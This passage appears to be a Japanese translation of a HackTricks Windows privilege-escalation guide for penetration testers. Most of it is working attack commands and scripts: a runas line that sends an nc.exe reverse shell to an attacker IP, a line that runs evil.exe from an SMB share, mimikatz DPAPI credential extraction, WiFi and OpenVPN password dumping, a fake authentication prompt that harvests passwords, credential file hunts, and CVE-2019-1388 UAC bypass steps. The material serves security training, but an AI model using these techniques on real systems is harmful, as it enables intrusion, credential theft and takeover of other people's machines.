オプションとともに使用できます。次の例は、SMB共有を介してリモートバイナリを呼び出しています。
runas /savecred /user:WORKGROUP\Administrator "\\10.XXX.XXX.XXX\SHARE\evil.exe"
runas
を使用して提供された資格情報を使う。
C:\Windows\System32\runas.exe /env /noprofile /user:<username> <password> "c:\users\Public\nc.exe -nc <attacker-ip> 4444 -e cmd.exe"
注意してください。mimikatz、lazagne、credentialfileview、VaultPasswordView、またはEmpire Powershells moduleから情報を取得できます。
DPAPI
Data Protection API (DPAPI) は、データの対称暗号化のための方法を提供し、主にWindowsオペレーティングシステム内で非対称秘密鍵の対称暗号化に使用されます。この暗号化は、ユーザーまたはシステムの秘密をエントロピーに大きく寄与させます。
DPAPIは、ユーザーのログイン秘密から派生した対称鍵を使用してキーを暗号化することを可能にします。システム暗号化を含むシナリオでは、システムのドメイン認証秘密を利用します。
DPAPIを使用して暗号化されたユーザーRSAキーは、%APPDATA%\Microsoft\Protect\{SID}
ディレクトリに保存されます。ここで{SID}
はユーザーのセキュリティ識別子を表します。DPAPIキーは、通常64バイトのランダムデータで構成される、ユーザーの秘密鍵を保護するマスターキーと同じファイル内に共存しています。(このディレクトリへのアクセスは制限されており、CMDのdir
コマンドを使用してその内容をリストアップすることはできませんが、PowerShellを介してリストアップすることができます)。
Get-ChildItem C:\Users\USER\AppData\Roaming\Microsoft\Protect\
Get-ChildItem C:\Users\USER\AppData\Local\Microsoft\Protect\
以下は、適切な引数(/pvk
または/rpc
)を使用して、mimikatzモジュール dpapi::masterkey
を使用して復号化できます。
通常、マスターパスワードで保護された資格情報ファイルは次の場所にあります:
dir C:\Users\username\AppData\Local\Microsoft\Credentials\
dir C:\Users\username\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Local\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Roaming\Microsoft\Credentials\
mimikatzモジュール dpapi::cred
を適切な /masterkey
と共に使用して復号化できます。
sekurlsa::dpapi
モジュールを使用して(root権限であれば)、メモリから多くの DPAPIマスターキー を抽出できます。
{% content-ref url="dpapi-extracting-passwords.md" %} dpapi-extracting-passwords.md {% endcontent-ref %}
PowerShell資格情報
PowerShell資格情報 は、しばしばスクリプトや自動化タスクで使用され、暗号化された資格情報を便利に保存する手段として使用されます。これらの資格情報は通常、DPAPI を使用して保護されており、通常は作成されたコンピューター上の同じユーザーによってのみ復号化できます。
ファイルに含まれるPS資格情報を復号化するには、以下を実行できます:
PS C:\> $credential = Import-Clixml -Path 'C:\pass.xml'
PS C:\> $credential.GetNetworkCredential().username
john
PS C:\htb> $credential.GetNetworkCredential().password
JustAPWD!
Wifi
Wifi
#List saved Wifi using
netsh wlan show profile
#To get the clear-text password use
netsh wlan show profile <SSID> key=clear
#Oneliner to extract all wifi passwords
cls & echo. & for /f "tokens=3,* delims=: " %a in ('netsh wlan show profiles ^| find "Profile "') do @echo off > nul & (netsh wlan show profiles name="%b" key=clear | findstr "SSID Cipher Content" | find /v "Number" & echo.) & @echo on*
保存されたRDP接続
HKEY_USERS\<SID>\Software\Microsoft\Terminal Server Client\Servers\
で見つけることができます。
そしてHKCU\Software\Microsoft\Terminal Server Client\Servers\
にもあります。
最近実行されたコマンド
HCU\<SID>\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU
HKCU\<SID>\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU
リモートデスクトップ資格情報マネージャー
%localappdata%\Microsoft\Remote Desktop Connection Manager\RDCMan.settings
Mimikatzのdpapi::rdg
モジュールを適切な/masterkey
と共に使用して、.rdgファイルを復号化します。
Mimikatzのsekurlsa::dpapi
モジュールを使用して、メモリから多くのDPAPIマスターキーを抽出できます。
Sticky Notes
WindowsワークステーションでStickyNotesアプリを使用して、パスワードやその他の情報を保存する人が多いですが、これがデータベースファイルであることに気づいていません。このファイルはC:\Users\<user>\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite
にあり、常に検索して調査する価値があります。
AppCmd.exe
AppCmd.exeからパスワードを回復するには、管理者であり、高い整合性レベルで実行する必要があります。
AppCmd.exeは%systemroot%\system32\inetsrv\
ディレクトリにあります。
このファイルが存在する場合、いくつかの資格情報が構成されており、回復できる可能性があります。
このコードはPowerUPから抽出されました。
function Get-ApplicationHost {
$OrigError = $ErrorActionPreference
$ErrorActionPreference = "SilentlyContinue"
# Check if appcmd.exe exists
if (Test-Path ("$Env:SystemRoot\System32\inetsrv\appcmd.exe")) {
# Create data table to house results
$DataTable = New-Object System.Data.DataTable
# Create and name columns in the data table
$Null = $DataTable.Columns.Add("user")
$Null = $DataTable.Columns.Add("pass")
$Null = $DataTable.Columns.Add("type")
$Null = $DataTable.Columns.Add("vdir")
$Null = $DataTable.Columns.Add("apppool")
# Get list of application pools
Invoke-Expression "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppools /text:name" | ForEach-Object {
# Get application pool name
$PoolName = $_
# Get username
$PoolUserCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppool " + "`"$PoolName`" /text:processmodel.username"
$PoolUser = Invoke-Expression $PoolUserCmd
# Get password
$PoolPasswordCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppool " + "`"$PoolName`" /text:processmodel.password"
$PoolPassword = Invoke-Expression $PoolPasswordCmd
# Check if credentials exists
if (($PoolPassword -ne "") -and ($PoolPassword -isnot [system.array])) {
# Add credentials to database
$Null = $DataTable.Rows.Add($PoolUser, $PoolPassword,'Application Pool','NA',$PoolName)
}
}
# Get list of virtual directories
Invoke-Expression "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir /text:vdir.name" | ForEach-Object {
# Get Virtual Directory Name
$VdirName = $_
# Get username
$VdirUserCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir " + "`"$VdirName`" /text:userName"
$VdirUser = Invoke-Expression $VdirUserCmd
# Get password
$VdirPasswordCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir " + "`"$VdirName`" /text:password"
$VdirPassword = Invoke-Expression $VdirPasswordCmd
# Check if credentials exists
if (($VdirPassword -ne "") -and ($VdirPassword -isnot [system.array])) {
# Add credentials to database
$Null = $DataTable.Rows.Add($VdirUser, $VdirPassword,'Virtual Directory',$VdirName,'NA')
}
}
# Check if any passwords were found
if( $DataTable.rows.Count -gt 0 ) {
# Display results in list view that can feed into the pipeline
$DataTable | Sort-Object type,user,pass,vdir,apppool | Select-Object user,pass,type,vdir,apppool -Unique
}
else {
# Status user
Write-Verbose 'No application pool or virtual directory passwords were found.'
$False
}
}
else {
Write-Verbose 'Appcmd.exe does not exist in the default location.'
$False
}
$ErrorActionPreference = $OrigError
}
SCClient / SCCM
C:\Windows\CCM\SCClient.exe
が存在するかどうかを確認します。
インストーラーは SYSTEM 権限で実行されます。多くのインストーラーは DLL Sideloading に脆弱 であることがあります(情報は https://github.com/enjoiz/Privesc から取得)。
$result = Get-WmiObject -Namespace "root\ccm\clientSDK" -Class CCM_Application -Property * | select Name,SoftwareVersion
if ($result) { $result }
else { Write "Not Installed." }
ファイルとレジストリ(資格情報)
Puttyの資格情報
reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" /s | findstr "HKEY_CURRENT_USER HostName PortNumber UserName PublicKeyFile PortForwardings ConnectionSharing ProxyPassword ProxyUsername" #Check the values saved in each session, user/password could be there
Putty SSH ホストキー
reg query HKCU\Software\SimonTatham\PuTTY\SshHostKeys\
レジストリ内のSSHキー
SSHの秘密鍵は、レジストリキー HKCU\Software\OpenSSH\Agent\Keys
内に保存されることがありますので、そこに興味深い情報がないかをチェックする必要があります。
reg query 'HKEY_CURRENT_USER\Software\OpenSSH\Agent\Keys'
そのパス内にエントリが見つかった場合、おそらく保存されたSSHキーである可能性があります。これは暗号化されていますが、https://github.com/ropnop/windows_sshagent_extract を使用して簡単に復号化できます。
このテクニックに関する詳細はこちら: https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/
ssh-agent
サービスが実行されていない場合、自動的に起動するようにしたい場合は、以下を実行してください:
Get-Service ssh-agent | Set-Service -StartupType Automatic -PassThru | Start-Service
{% hint style="info" %}
このテクニックはもはや有効ではないようです。いくつかのSSHキーを作成し、ssh-add
でそれらを追加してSSH経由でマシンにログインしようとしました。レジストリHKCU\Software\OpenSSH\Agent\Keys
は存在せず、procmonは非対称キー認証中にdpapi.dll
の使用を特定しませんでした。
{% endhint %}
Unattended files
C:\Windows\sysprep\sysprep.xml
C:\Windows\sysprep\sysprep.inf
C:\Windows\sysprep.inf
C:\Windows\Panther\Unattended.xml
C:\Windows\Panther\Unattend.xml
C:\Windows\Panther\Unattend\Unattend.xml
C:\Windows\Panther\Unattend\Unattended.xml
C:\Windows\System32\Sysprep\unattend.xml
C:\Windows\System32\Sysprep\unattended.xml
C:\unattend.txt
C:\unattend.inf
dir /s *sysprep.inf *sysprep.xml *unattended.xml *unattend.xml *unattend.txt 2>nul
あなたはmetasploitを使用してこれらのファイルを検索することもできます: post/windows/gather/enum_unattend
例の内容:
<component name="Microsoft-Windows-Shell-Setup" publicKeyToken="31bf3856ad364e35" language="neutral" versionScope="nonSxS" processorArchitecture="amd64">
<AutoLogon>
<Password>U2VjcmV0U2VjdXJlUGFzc3dvcmQxMjM0Kgo==</Password>
<Enabled>true</Enabled>
<Username>Administrateur</Username>
</AutoLogon>
<UserAccounts>
<LocalAccounts>
<LocalAccount wcm:action="add">
<Password>*SENSITIVE*DATA*DELETED*</Password>
<Group>administrators;users</Group>
<Name>Administrateur</Name>
</LocalAccount>
</LocalAccounts>
</UserAccounts>
SAM & SYSTEM バックアップ
# Usually %SYSTEMROOT% = C:\Windows
%SYSTEMROOT%\repair\SAM
%SYSTEMROOT%\System32\config\RegBack\SAM
%SYSTEMROOT%\System32\config\SAM
%SYSTEMROOT%\repair\system
%SYSTEMROOT%\System32\config\SYSTEM
%SYSTEMROOT%\System32\config\RegBack\system
クラウド資格情報
#From user home
.aws\credentials
AppData\Roaming\gcloud\credentials.db
AppData\Roaming\gcloud\legacy_credentials
AppData\Roaming\gcloud\access_tokens.db
.azure\accessTokens.json
.azure\azureProfile.json
McAfee SiteList.xml
SiteList.xmlというファイルを検索します。
キャッシュされたGPPパスワード
以前は、Group Policy Preferences(GPP)を使用して複数のマシンにカスタムローカル管理者アカウントを展開する機能が利用可能でした。ただし、この方法には重大なセキュリティ上の欠陥がありました。まず第一に、SYSVOLに保存されているXMLファイルとしてのGroup Policy Objects(GPO)には、どのドメインユーザーでもアクセスできるようになっていました。第二に、これらのGPP内のパスワードは、公に文書化されたデフォルトキーを使用してAES256で暗号化されていましたが、認証されたユーザーであれば誰でも復号化できました。これは、ユーザーが昇格権を取得する可能性があるため、深刻なリスクをもたらしました。
このリスクを軽減するために、"cpassword"フィールドが空でないローカルにキャッシュされたGPPファイルをスキャンする機能が開発されました。そのようなファイルを見つけると、その機能はパスワードを復号化してカスタムPowerShellオブジェクトを返します。このオブジェクトには、GPPとファイルの場所に関する詳細が含まれており、このセキュリティ上の脆弱性の特定と修復を支援します。
これらのファイルを検索するためにC:\ProgramData\Microsoft\Group Policy\history
または_W Vista以前の場合は_C:\Documents and Settings\All Users\Application Data\Microsoft\Group Policy\historyに検索します:
- Groups.xml
- Services.xml
- Scheduledtasks.xml
- DataSources.xml
- Printers.xml
- Drives.xml
cPasswordを復号化するには:
#To decrypt these passwords you can decrypt it using
gpp-decrypt j1Uyj3Vx8TY9LtLZil2uAuZkFQA/4latT76ZwgdHdhw
crackmapexecを使用してパスワードを取得する方法:
crackmapexec smb 10.10.10.10 -u username -p pwd -M gpp_autologin
IIS Web Config
IIS Web Config
IIS Web Config
Get-Childitem –Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config
C:\inetpub\wwwroot\web.config
Get-Childitem –Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue
Get-Childitem –Path C:\xampp\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue
Web.configの資格情報の例:
<authentication mode="Forms">
<forms name="login" loginUrl="/admin">
<credentials passwordFormat = "Clear">
<user name="Administrator" password="SuperAdminPassword" />
</credentials>
</forms>
</authentication>
OpenVPNの資格情報
Add-Type -AssemblyName System.Security
$keys = Get-ChildItem "HKCU:\Software\OpenVPN-GUI\configs"
$items = $keys | ForEach-Object {Get-ItemProperty $_.PsPath}
foreach ($item in $items)
{
$encryptedbytes=$item.'auth-data'
$entropy=$item.'entropy'
$entropy=$entropy[0..(($entropy.Length)-2)]
$decryptedbytes = [System.Security.Cryptography.ProtectedData]::Unprotect(
$encryptedBytes,
$entropy,
[System.Security.Cryptography.DataProtectionScope]::CurrentUser)
Write-Host ([System.Text.Encoding]::Unicode.GetString($decryptedbytes))
}
ログ
# IIS
C:\inetpub\logs\LogFiles\*
#Apache
Get-Childitem –Path C:\ -Include access.log,error.log -File -Recurse -ErrorAction SilentlyContinue
資格情報の要求
ユーザーに、自分の資格情報または別のユーザーの資格情報を入力するように求めることができます(クライアントに直接資格情報を要求することは非常に危険であることに注意してください):
$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+[Environment]::UserName,[Environment]::UserDomainName); $cred.getnetworkcredential().password
$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+'anotherusername',[Environment]::UserDomainName); $cred.getnetworkcredential().password
#Get plaintext
$cred.GetNetworkCredential() | fl
資格情報を含む可能性のあるファイル名
以前にパスワードをクリアテキストまたはBase64で含んでいたと知られているファイル
$env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history
vnc.ini, ultravnc.ini, *vnc*
web.config
php.ini httpd.conf httpd-xampp.conf my.ini my.cnf (XAMPP, Apache, PHP)
SiteList.xml #McAfee
ConsoleHost_history.txt #PS-History
*.gpg
*.pgp
*config*.php
elasticsearch.y*ml
kibana.y*ml
*.p12
*.der
*.csr
*.cer
known_hosts
id_rsa
id_dsa
*.ovpn
anaconda-ks.cfg
hostapd.conf
rsyncd.conf
cesi.conf
supervisord.conf
tomcat-users.xml
*.kdbx
KeePass.config
Ntds.dit
SAM
SYSTEM
FreeSSHDservice.ini
access.log
error.log
server.xml
ConsoleHost_history.txt
setupinfo
setupinfo.bak
key3.db #Firefox
key4.db #Firefox
places.sqlite #Firefox
"Login Data" #Chrome
Cookies #Chrome
Bookmarks #Chrome
History #Chrome
TypedURLsTime #IE
TypedURLs #IE
%SYSTEMDRIVE%\pagefile.sys
%WINDIR%\debug\NetSetup.log
%WINDIR%\repair\sam
%WINDIR%\repair\system
%WINDIR%\repair\software, %WINDIR%\repair\security
%WINDIR%\iis6.log
%WINDIR%\system32\config\AppEvent.Evt
%WINDIR%\system32\config\SecEvent.Evt
%WINDIR%\system32\config\default.sav
%WINDIR%\system32\config\security.sav
%WINDIR%\system32\config\software.sav
%WINDIR%\system32\config\system.sav
%WINDIR%\system32\CCM\logs\*.log
%USERPROFILE%\ntuser.dat
%USERPROFILE%\LocalS~1\Tempor~1\Content.IE5\index.dat
提案されたすべてのファイルを検索します:
cd C:\
dir /s/b /A:-D RDCMan.settings == *.rdg == *_history* == httpd.conf == .htpasswd == .gitconfig == .git-credentials == Dockerfile == docker-compose.yml == access_tokens.db == accessTokens.json == azureProfile.json == appcmd.exe == scclient.exe == *.gpg$ == *.pgp$ == *config*.php == elasticsearch.y*ml == kibana.y*ml == *.p12$ == *.cer$ == known_hosts == *id_rsa* == *id_dsa* == *.ovpn == tomcat-users.xml == web.config == *.kdbx == KeePass.config == Ntds.dit == SAM == SYSTEM == security == software == FreeSSHDservice.ini == sysprep.inf == sysprep.xml == *vnc*.ini == *vnc*.c*nf* == *vnc*.txt == *vnc*.xml == php.ini == https.conf == https-xampp.conf == my.ini == my.cnf == access.log == error.log == server.xml == ConsoleHost_history.txt == pagefile.sys == NetSetup.log == iis6.log == AppEvent.Evt == SecEvent.Evt == default.sav == security.sav == software.sav == system.sav == ntuser.dat == index.dat == bash.exe == wsl.exe 2>nul | findstr /v ".dll"
Get-Childitem –Path C:\ -Include *unattend*,*sysprep* -File -Recurse -ErrorAction SilentlyContinue | where {($_.Name -like "*.xml" -or $_.Name -like "*.txt" -or $_.Name -like "*.ini")}
リサイクルビン内の資格情報
Binをチェックして、中にある資格情報を探すべきです
複数のプログラムに保存されたパスワードを回復するには、次を使用できます: http://www.nirsoft.net/password_recovery_tools.html
レジストリ内部
資格情報を持つ可能性のある他のレジストリキー
reg query "HKCU\Software\ORL\WinVNC3\Password"
reg query "HKLM\SYSTEM\CurrentControlSet\Services\SNMP" /s
reg query "HKCU\Software\TightVNC\Server"
reg query "HKCU\Software\OpenSSH\Agent\Key"
ブラウザの履歴
ChromeまたはFirefox からのパスワードが保存されているdbsをチェックする必要があります。
また、ブラウザの履歴、ブックマーク、お気に入りをチェックして、そこにパスワードが保存されている可能性があります。
ブラウザからパスワードを抽出するためのツール:
- Mimikatz:
dpapi::chrome
- SharpWeb
- SharpChromium
- SharpDPAPI
COM DLLの上書き
Component Object Model (COM) は、Windowsオペレーティングシステム内に組み込まれた技術であり、異なる言語のソフトウェアコンポーネント間の相互通信を可能にします。各COMコンポーネントはクラスID(CLSID)によって識別され、各コンポーネントは1つ以上のインターフェースを介して機能を公開し、インターフェースID(IID)によって識別されます。
COMクラスとインターフェースは、HKEY_CLASSES_ROOT\CLSID および HKEY_CLASSES_ROOT\Interface の下にレジストリで定義されています。このレジストリは、HKEY_LOCAL_MACHINE\Software\Classes + HKEY_CURRENT_USER\Software\Classes をマージして作成される HKEY_CLASSES_ROOT です。
このレジストリのCLSIDsの中には、InProcServer32 という子レジストリがあり、DLL を指すデフォルト値と、Apartment(シングルスレッド)、Free(マルチスレッド)、Both(シングルまたはマルチ)、またはNeutral(スレッドニュートラル)と呼ばれる値を含んでいます。
基本的に、実行されるDLLのいずれかを上書きできれば、別のユーザーによって実行される場合には、特権を昇格できます。
攻撃者がCOMハイジャックを持続性メカニズムとしてどのように使用するかを学ぶには、以下を確認してください:
{% content-ref url="com-hijacking.md" %} com-hijacking.md {% endcontent-ref %}
ファイルとレジストリ内の汎用パスワード検索
ファイル内容の検索
cd C:\ & findstr /SI /M "password" *.xml *.ini *.txt
findstr /si password *.xml *.ini *.txt *.config
findstr /spin "password" *.*
特定のファイル名を持つファイルを検索します
dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc* == *.config*
where /R C:\ user.txt
where /R C:\ *.ini
レジストリを検索してキー名やパスワードを探す
REG QUERY HKLM /F "password" /t REG_SZ /S /K
REG QUERY HKCU /F "password" /t REG_SZ /S /K
REG QUERY HKLM /F "password" /t REG_SZ /S /d
REG QUERY HKCU /F "password" /t REG_SZ /S /d
パスワードを検索するツール
MSF-Credentials Plugin は私が作成したmsfプラグインで、被害者の中で資格情報を検索するmetasploitのすべてのPOSTモジュールを自動的に実行します。
Winpeas は、このページに記載されているパスワードを含むすべてのファイルを自動的に検索します。
Lazagne はシステムからパスワードを抽出するための別の優れたツールです。
ツールSessionGopher は、このデータを平文で保存するいくつかのツール(PuTTY、WinSCP、FileZilla、SuperPuTTY、およびRDP)のセッション、ユーザー名、およびパスワードを検索します。
Import-Module path\to\SessionGopher.ps1;
Invoke-SessionGopher -Thorough
Invoke-SessionGopher -AllDomain -o
Invoke-SessionGopher -AllDomain -u domain.com\adm-arvanaghi -p s3cr3tP@ss
リークしたハンドラ
SYSTEMとして実行されているプロセスが、完全なアクセスで新しいプロセスを開く(OpenProcess()
)とします。同じプロセスが低い特権で新しいプロセス(CreateProcess()
)を作成し、ただしメインプロセスのすべてのオープンハンドルを継承します。
その後、低い特権を持つプロセスに完全なアクセス権がある場合、OpenProcess()
で作成された特権プロセスへのオープンハンドルを取得し、シェルコードをインジェクトできます。
この脆弱性を検出および悪用する方法についての詳細はこちらを参照してください。
異なる権限レベルで継承されたプロセスおよびスレッドのオープンハンドラをテストおよび悪用する方法についての詳細な説明はこちら。
名前付きパイプクライアントの権限昇格
パイプとして参照される共有メモリセグメントは、プロセス間の通信とデータ転送を可能にします。
WindowsにはNamed Pipesと呼ばれる機能があり、関連のないプロセスでもデータを共有でき、異なるネットワークを介して通信できます。これは、名前付きパイプサーバと名前付きパイプクライアントとして定義された役割を持つクライアント/サーバアーキテクチャに似ています。
クライアントがパイプを介してデータを送信すると、パイプを設定したサーバは、必要なSeImpersonate権限を持っていれば、クライアントのアイデンティティを引き継ぐことができます。確立したパイプを介してやり取りするプロセスの特権を持つプロセスを特定し、そのプロセスが設定したパイプとやり取りすると、そのプロセスのアイデンティティを採用することで、高い特権を取得する機会が提供されます。このような攻撃を実行する手順については、こちらやこちらで役立つガイドが見つかります。
また、次のツールを使用すると、burpなどのツールを使用して名前付きパイプ通信を傍受できます:https://github.com/gabriel-sztejnworcel/pipe-intercept また、このツールを使用すると、すべてのパイプをリスト化して特権昇格を見つけることができます:https://github.com/cyberark/PipeViewer
その他
パスワードを監視するためのコマンドラインの監視
ユーザーとしてシェルを取得すると、スケジュールされたタスクや他のプロセスが実行され、コマンドラインで資格情報が渡される可能性があります。以下のスクリプトは、プロセスのコマンドラインを2秒ごとにキャプチャし、現在の状態と前の状態を比較して、違いがあれば出力します。
while($true)
{
$process = Get-WmiObject Win32_Process | Select-Object CommandLine
Start-Sleep 1
$process2 = Get-WmiObject Win32_Process | Select-Object CommandLine
Compare-Object -ReferenceObject $process -DifferenceObject $process2
}
プロセスからパスワードを盗む
低特権ユーザーからNT\AUTHORITY SYSTEMへ(CVE-2019-1388)/ UAC バイパス
グラフィカルインターフェースにアクセスできる場合(コンソールまたはRDP経由)かつUACが有効になっている場合、一部のMicrosoft Windowsバージョンでは、特権のないユーザーからターミナルや他のプロセス(例:「NT\AUTHORITY SYSTEM」)を実行することが可能です。
これにより、特権を昇格させ、同時にUACをバイパスすることができます。さらに、何もインストールする必要はなく、プロセス中に使用されるバイナリは、Microsoftによって署名されています。
影響を受けるシステムの一部は次のとおりです:
SERVER
======
Windows 2008r2 7601 ** link OPENED AS SYSTEM **
Windows 2012r2 9600 ** link OPENED AS SYSTEM **
Windows 2016 14393 ** link OPENED AS SYSTEM **
Windows 2019 17763 link NOT opened
WORKSTATION
===========
Windows 7 SP1 7601 ** link OPENED AS SYSTEM **
Windows 8 9200 ** link OPENED AS SYSTEM **
Windows 8.1 9600 ** link OPENED AS SYSTEM **
Windows 10 1511 10240 ** link OPENED AS SYSTEM **
Windows 10 1607 14393 ** link OPENED AS SYSTEM **
Windows 10 1703 15063 link NOT opened
Windows 10 1709 16299 link NOT opened
次の手順を実行する必要があります。
1) Right click on the HHUPD.EXE file and run it as Administrator.
2) When the UAC prompt appears, select "Show more details".
3) Click "Show publisher certificate information".
4) If the system is vulnerable, when clicking on the "Issued by" URL link, the default web browser may appear.
5) Wait for the site to load completely and select "Save as" to bring up an explorer.exe window.
6) In the address path of the explorer window, enter cmd.exe, powershell.exe or any other interactive process.
7) You now will have an "NT\AUTHORITY SYSTEM" command prompt.
8) Remember to cancel setup and the UAC prompt to return to your desktop.
以下は、ハッキング技術に関する本の内容です。翻訳された日本語のテキストを提供します。MarkdownとHTMLの構文を保持してください。
管理者権限から高い整合性レベルへの昇格 / UAC バイパス
整合性レベルについて学ぶには、これを読んでください:
{% content-ref url="integrity-levels.md" %} integrity-levels.md {% endcontent-ref %}
次に、UACおよびUACバイパスについて学ぶには、これを読んでください:
{% content-ref url="../authentication-credentials-uac-and-efs/uac-user-account-control.md" %} uac-user-account-control.md {% endcontent-ref %}
高い整合性からシステムへ
新しいサービス
すでに高い整合性プロセスで実行している場合、新しいサービスを作成および実行するだけで、SYSTEMへの昇格が簡単になります。
sc create newservicename binPath= "C:\windows\system32\notepad.exe"
sc start newservicename
AlwaysInstallElevated
ハイインテグリティプロセスから、AlwaysInstallElevatedレジストリエントリを有効にして、.msiラッパーを使用して逆シェルをインストールすることができます。
関連するレジストリキーと_.msi_パッケージのインストール方法についての詳細はこちら。
High + SeImpersonate権限をSystemに
コードはこちらで見つけることができます。
SeDebug + SeImpersonateからFull Token権限へ
これらのトークン権限を持っている場合(おそらく既にHigh Integrityプロセスで見つけることができるでしょう)、SeDebug権限を持つほとんどのプロセス(保護されていないプロセスではない)を開くことができ、プロセスのトークンをコピーしてそのトークンで任意のプロセスを作成することができます。
このテクニックを使用すると、通常はすべてのトークン権限を持つSYSTEMとして実行されているプロセスが選択されます(はい、すべてのトークン権限を持たないSYSTEMプロセスを見つけることができます)。
提案されたテクニックを実行するコードの例はこちらで見つけることができます。
Named Pipes
このテクニックは、getsystem
でエスカレーションするためにmeterpreterによって使用されます。このテクニックは、パイプを作成し、そのパイプに書き込むためにサービスを作成/悪用することで構成されます。その後、SeImpersonate権限を使用してパイプクライアント(サービス)のトークンを偽装することができるサーバーは、SYSTEM権限を取得できます。
名前付きパイプについて詳しく学びたい場合は、こちらを読んでください。
ハイインテグリティからSystemへの移行方法の例については、こちらを読んでください。
Dll Hijacking
SYSTEMで実行されているプロセスによってロードされているdllをハイジャックすることができれば、その権限で任意のコードを実行することができます。したがって、Dll Hijackingはこの種の特権昇格にも役立ちます。さらに、ハイインテグリティプロセスからは、dllをロードするために使用されるフォルダに書き込み権限があるため、はるかに簡単に達成できます。
Dllハイジャックについて詳しく学ぶことができます。
管理者またはネットワークサービスからSystemへ
{% embed url="https://github.com/sailay1996/RpcSsImpersonator" %}
LOCAL SERVICEまたはNETWORK SERVICEからフル権限へ
参照: https://github.com/itm4n/FullPowers
その他のヘルプ
便利なツール
Windowsローカル特権昇格ベクターを探すための最適なツール: WinPEAS
PS
PrivescCheck
PowerSploit-Privesc(PowerUP) -- 設定ミスと機密ファイルをチェック(こちらを確認)。検出されました。
JAWS -- いくつかの可能な設定ミスをチェックし、情報を収集(こちらを確認)。
privesc -- 設定ミスをチェック
SessionGopher -- PuTTY、WinSCP、SuperPuTTY、FileZilla、およびRDPの保存されたセッション情報を抽出します。ローカルで -Thorough を使用してください。
Invoke-WCMDump -- 資格情報をCredential Managerから抽出します。検出されました。
DomainPasswordSpray -- 収集したパスワードをドメイン全体にスプレーします
Inveigh -- InveighはPowerShell ADIDNS/LLMNR/mDNS/NBNSスプーファーおよび中間者ツールです。
WindowsEnum -- 基本的な特権昇格Windows列挙
Sherlock ~~~~ -- 既知の特権昇格脆弱性を検索(Watson用に非推奨)
WINspect -- ローカルチェック (管理者権限が必要)
Exe
Watson -- 既知の特権昇格脆弱性を検索(VisualStudioを使用してコンパイルする必要があります)(事前コンパイル済み)
SeatBelt -- ホストを列挙し、設定ミスを検索します(特権昇格よりも情報収集ツール)(コンパイルが必要) (事前コンパイル済み)
LaZagne -- 多くのソフトウェアから資格情報を抽出します(githubに事前コンパイルされたexeがあります)
SharpUP -- PowerUpのC#へのポート
Beroot ~~~~ -- 設定ミスをチェック(githubに事前コンパイルされた実行可能ファイルがあります)。Win10ではうまく動作しません。
Windows-Privesc-Check -- 可能な設定ミスをチェック(pythonからのexe)。Win10ではうまく動作しません。
Bat
winPEASbat -- この投稿に基づいて作成されたツール(適切に機能させるためにはaccesschkが必要ありませんが、使用できます)。
Local
Windows-Exploit-Suggester -- systeminfoの出力を読み取り、動作するエクスプロイトを推奨します(ローカルpython)
Windows Exploit Suggester Next Generation -- systeminfoの出力を読み取り、動作するエクスプロイトを推奨します(ローカルpython)
Meterpreter
multi/recon/local_exploit_suggestor
プロジェクトを正しい.NETのバージョンを使用してコンパイルする必要があります(こちらを参照)。被害者ホストでインストールされている.NETのバージョンを確認するには、次の操作を行います:
C:\Windows\microsoft.net\framework\v4.0.30319\MSBuild.exe -version #Compile the code with the version given in "Build Engine version" line
参考文献
- http://www.fuzzysecurity.com/tutorials/16.html\
- http://www.greyhathacker.net/?p=738\
- http://it-ovid.blogspot.com/2012/02/windows-privilege-escalation.html\
- https://github.com/sagishahar/lpeworkshop\
- https://www.youtube.com/watch?v=_8xJaaQlpBo\
- https://sushant747.gitbooks.io/total-oscp-guide/privilege_escalation_windows.html\
- https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md\
- https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/\
- https://github.com/netbiosX/Checklists/blob/master/Windows-Privilege-Escalation.md\
- https://github.com/frizb/Windows-Privilege-Escalation\
- https://pentest.blog/windows-privilege-escalation-methods-for-pentesters/\
- https://github.com/frizb/Windows-Privilege-Escalation\
- http://it-ovid.blogspot.com/2012/02/windows-privilege-escalation.html\
- https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md#antivirus--detections
ゼロからヒーローまでのAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert)!
- サイバーセキュリティ企業で働いていますか? HackTricksで会社を宣伝したいですか?または最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロードしたいですか?SUBSCRIPTION PLANSをチェックしてください!
- The PEASS Familyを発見し、独占的なNFTsコレクションを見つけます
- 公式PEASS&HackTricksスウォッグを手に入れます
- 💬 Discordグループに参加するか、telegramグループに参加するか、Twitterで私をフォローする🐦@carlospolopm。
- ハッキングトリックを共有するには、hacktricks repo およびhacktricks-cloud repo にPRを提出してください。